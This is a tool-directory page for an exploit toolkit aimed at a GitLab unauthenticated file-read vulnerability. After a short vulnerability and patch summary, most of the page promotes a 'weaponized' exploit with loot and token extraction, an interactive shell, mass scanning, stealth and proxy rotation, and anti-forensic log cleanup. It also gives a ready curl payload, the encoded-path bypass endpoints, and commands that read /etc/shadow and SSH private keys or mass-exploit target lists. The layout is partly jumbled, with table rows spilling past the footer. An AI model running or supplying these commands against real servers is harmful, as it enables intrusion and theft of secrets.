Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-85706-PoC-Toolkit — Python toolkit for CVE-2026-85706 GitLab unauth file read: weaponized exploit with loot, shell, mass scan, plus non-intrusive SafeChecker audit and reporting. | Kitploit
Tools/GitHubGitHub/tc4dy/cve-2026-85706-poc-toolkit
Defensive ToolsVulnerability ScannersVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPost-ExploitationWeb SecurityPenetration Testing

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Red Teaming
GitHubtc4dy/cve-2026-85706-poc-toolkit

CVE-2026-85706-PoC-Toolkit

Python toolkit for CVE-2026-85706 GitLab unauth file read: weaponized exploit with loot, shell, mass scan, plus non-intrusive SafeChecker audit and reporting.

View RepositoryWebsite
110h 21m agoNot yet reviewed
Share

CVEPoC

CVE‑2026‑85706 – GitLab Unauthenticated File Read Toolkit

Python 3.8+ CVSS Author GitLab

⚠️ ETHICAL USE ONLY – AUTHORIZED SECURITY TESTING
This repository provides tools for authorized security professionals, blue teams, and penetration testers only.
Unauthorized access to computer systems is illegal under CFAA (US), Computer Misuse Act (UK), TCK 243/244 (Turkey), and similar laws worldwide.


📖 Vulnerability Overview

CVE‑2026‑85706 is a critical unauthenticated arbitrary local file read vulnerability in (versions through ) that allows an unauthenticated attacker to read any file on the server via a single HTTP request to the commits API.

self-managed GitLab CE/EE
18.7
19.3.1

How it works

  1. Workhorse vs. Puma parsing mismatch – GitLab Workhorse validates the request path before percent‑decoding, while Puma/Rails decodes it after. This allows bypassing Workhorse's security checks using encoded characters like %63ommits.
  2. Pre-auth file open – the /api/v4/projects/{id}/repository/commits endpoint opens the file specified in file.path before authentication is enforced.
  3. Content echo via error – if the file contains an invalid %-sequence, Rack echoes the content in a 400 Bad Request body, leaking the full content.
  4. Impact – secrets, tokens, SSH keys, CI/CD variables, database credentials, and lateral movement into the GitLab infrastructure. Upgrade immediately!

Affected Versions

  • 18.7.0 – 19.1.7 – vulnerable
  • 19.2.0 – 19.2.5 – vulnerable
  • 19.3.0 – 19.3.1 – vulnerable

Patch

  • Upgrade to 19.1.8, 19.2.6, or 19.3.2 or newer.
  • If upgrade is not possible, restrict network access to GitLab (never expose it to the internet) and rotate all tokens/secrets as a temporary workaround.

🧰 Tools

ToolPurposeIntended User
exploit.pyFull weaponized toolkit with unauthenticated file read, loot enumeration, admin token extraction, mass scanning, interactive shell, proxy rotation, stealth mode, and multi-format reporting.Red teams / authorized pentesters
safechecker.pyNon‑intrusive vulnerability checker that detects GitLab version, validates exposure, audits security headers, and assesses risk without reading any file. Generates JSON/CSV/HTML reports.Blue teams / security auditors

📊 Feature Comparison

Featureexploit.pysafechecker.py
Vulnerability detection✅✅
Version detection✅✅
Unauthenticated file read✅❌
Loot enumeration✅❌
Admin token extraction✅❌
Interactive shell✅❌
Mass scanning (multi‑thread)✅✅
Security headers audit❌✅
TLS/certificate check❌✅
MITRE ATT&CK mapping✅✅
Proxy support✅✅
Proxy rotation✅❌
User‑Agent rotation (OPSEC)✅❌
Jitter / delay (OPSEC)✅❌
Adaptive rate limiter✅✅
Stealth mode✅❌
curl_cffi TLS impersonation✅❌
Non‑intrusive (safe) mode❌✅
JSON / JSONL / CSV / HTML output✅✅
SQLite DB output✅❌
Webhook notification✅✅
Diff against previous scan✅✅
Log cleanup (anti‑forensic)✅

🎯 Use Case Summary

ScenarioRecommended Tool
Blue Team – verifying if your GitLab is vulnerablesafechecker.py
Security Audit – non‑intrusive vulnerability assessmentsafechecker.py
Red Team – authorized penetration testing with full exploitationexploit.py
Bug Bounty – responsible disclosure testingsafechecker.py
Mass Scanning – checking multiple targets for vulnerabilityexploit.py (detect‑only)
Incident Response – checking if systems are compromisedsafechecker.py

⚙️ Installation

root@kitploit:~
git clone https://github.com/tc4dy/CVE-2026-85706-PoC-Toolkit
cd CVE-2026-85706-PoC-Toolkit
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests
urllib3
curl_cffi
rich
pyyaml

📋 Parameters

exploit.py Parameters

ParameterDescription
-u, --urlSingle target URL (e.g. https://gitlab.example.com)
-f, --fileFile containing list of targets (one per line)
--pipeRead targets from stdin (subfinder/httpx pipeline)
--readAbsolute path(s) to read, comma-separated
--wordlistFile with paths to read (one per line)
--project-idForce a specific project ID
--max-projectsMax project IDs to try (default: 8)
--autoLoot high-value GitLab files automatically
--lootSame as --auto
--shellInteractive shell after exploitation
--forceScan even if GitLab fingerprint is weak
-t, --threadsThreads for multi‑target (default: 8)
--timeoutHTTP timeout (default: 15s)
--retryRetry count (default: 3)
--retry-onHTTP codes to retry (default: 429,500,502,503,504)
--proxyHTTP/HTTPS proxy
--proxy-listFile with proxies for rotation
--proxy-rotateRotation strategy: round-robin, random, sticky
--jitterAdd random jitter between requests
--jitter-rangeJitter min,max seconds (default: 0.1,2.0)
--delayFixed delay between requests
--stealthEnable stealth mode (UA rotation + X-Forwarded-For)
--curl-cffi

safechecker.py Parameters

ParameterDescription
-u, --urlSingle target URL (e.g. https://gitlab.example.com)
-f, --fileFile with targets (one per line)
-t, --threadsThreads for multi‑target (default: 5)
--timeoutHTTP timeout (default: 10s)
--rate-limitMax requests per second (0 = unlimited)
--user-agentCustom User-Agent string
--insecureDisable TLS verification (MITM risk)
--webhookWebhook URL (slack:, discord:, telegram:)
--diffCompare with previous scan JSON
-v, --verboseVerbose output
-o, --outputJSON output file
--csvCSV output file
--reportHTML report file
--mitreInclude MITRE ATT&CK mapping (default: on)

💥 Scenarios

#ScenarioCommand
1Quick vulnerability checkpython safechecker.py -u https://gitlab.example.com
2Detailed audit with reportpython safechecker.py -u https://gitlab.example.com -o report.json --csv report.csv --report report.html -v
3Mass audit from filepython safechecker.py -f targets.txt -t 10 --rate-limit 5
4Detect-only exploitpython exploit.py -u https://gitlab.example.com --safe-mode
5Read a single filepython exploit.py -u https://gitlab.example.com --read /etc/passwd
6Read multiple filespython exploit.py -u https://gitlab.example.com --read /etc/passwd,/etc/shadow,/root/.ssh/id_rsa
7Auto loot high-value filespython exploit.py -u https://gitlab.example.com --auto
8Interactive shellpython exploit.py -u https://gitlab.example.com --shell
9Mass exploit with stealthpython exploit.py -f targets.txt -t 20 --stealth --jitter --auto -o hits.jsonl --output-format jsonl
10Pipeline from subfindersubfinder -d example.com -silent | httpx -silent -sc | python exploit.py --pipe --auto -o hits.jsonl
11Full attack with SIEM outputpython exploit.py -u https://gitlab.example.com --auto --grep "password|secret|token" --mitre --json-schema -o siem.json
12Resume interrupted scanpython exploit.py -f targets.txt --auto --resume state.json
13Compare two scanspython safechecker.py -f targets.txt -o new.json --diff previous.json

🧪 Endpoint & Exploitation Chain

The exploit uses the following GitLab endpoints and bypass techniques:

StepMethodEndpointDescription
1. BypassPOST/api/v4/projects/{id}/repository/%63ommitsEncoded c bypasses Workhorse
2. BypassPOST/api/v4/projects/{id}/%72epository/commitsEncoded r in repository
3. BypassPOST/api/v4/projects/{id}/repository/commits/Trailing slash bypass
4. BypassPOST/api/v4/projects/{id}/repository/commits.jsonGrape format suffix bypass
5. Files APIPOST/api/v4/projects/{id}/repository/files/xAlternative route

Payload Format

root@kitploit:~
file=&file.path=/etc/passwd&file.size=1

Ready curl

root@kitploit:~
curl -sk -X POST "https://gitlab.example.com/api/v4/projects/1/repository/%63ommits?file=&file.path=/etc/passwd&file.size=1&Content-Type=application/x-www-form-urlencoded"

🛡️ Responsible Use

  • Only use these tools on systems you own or have explicit written permission to test.
  • Unauthorized access is illegal and unethical.
  • The authors are not responsible for any misuse.
  • Always follow your country's laws and regulations.

This software is provided for educational purposes and authorized security testing only.

Download Tool
❌
Custom User‑Agent✅✅
SSL verification control✅✅
Use curl_cffi for TLS fingerprint impersonation
--user-agent-fileFile with User-Agent strings
--max-bodyMax response body size (0 = unlimited)
--concurrent-per-hostMax concurrent requests per host
--rate-limitMax requests per second (0 = unlimited)
--excludeComma-separated hosts to exclude (glob patterns)
--grepOnly show leaks matching regex
--resumeResume from state file
--notifyNotification URL (slack:, discord:, telegram:)
--dbSave results to SQLite database
--output-formatOutput format: json, jsonl, csv, html
-o, --outputOutput file path
-v, --verboseVerbose output
-q, --quietQuiet mode
--no-colorDisable colors
--no-bannerNo banner
--configYAML/JSON config file
--dry-runShow plan without making requests
--safe-modeOnly read /etc/hostname to verify
--timeout-profileaggressive, normal, stealth
--mitreInclude MITRE ATT&CK mapping
--fingerprintDetailed GitLab fingerprint
--cve-checkCheck for related CVEs
--json-schemaOutput with JSON schema for SIEM
--progressShow progress bar (requires rich)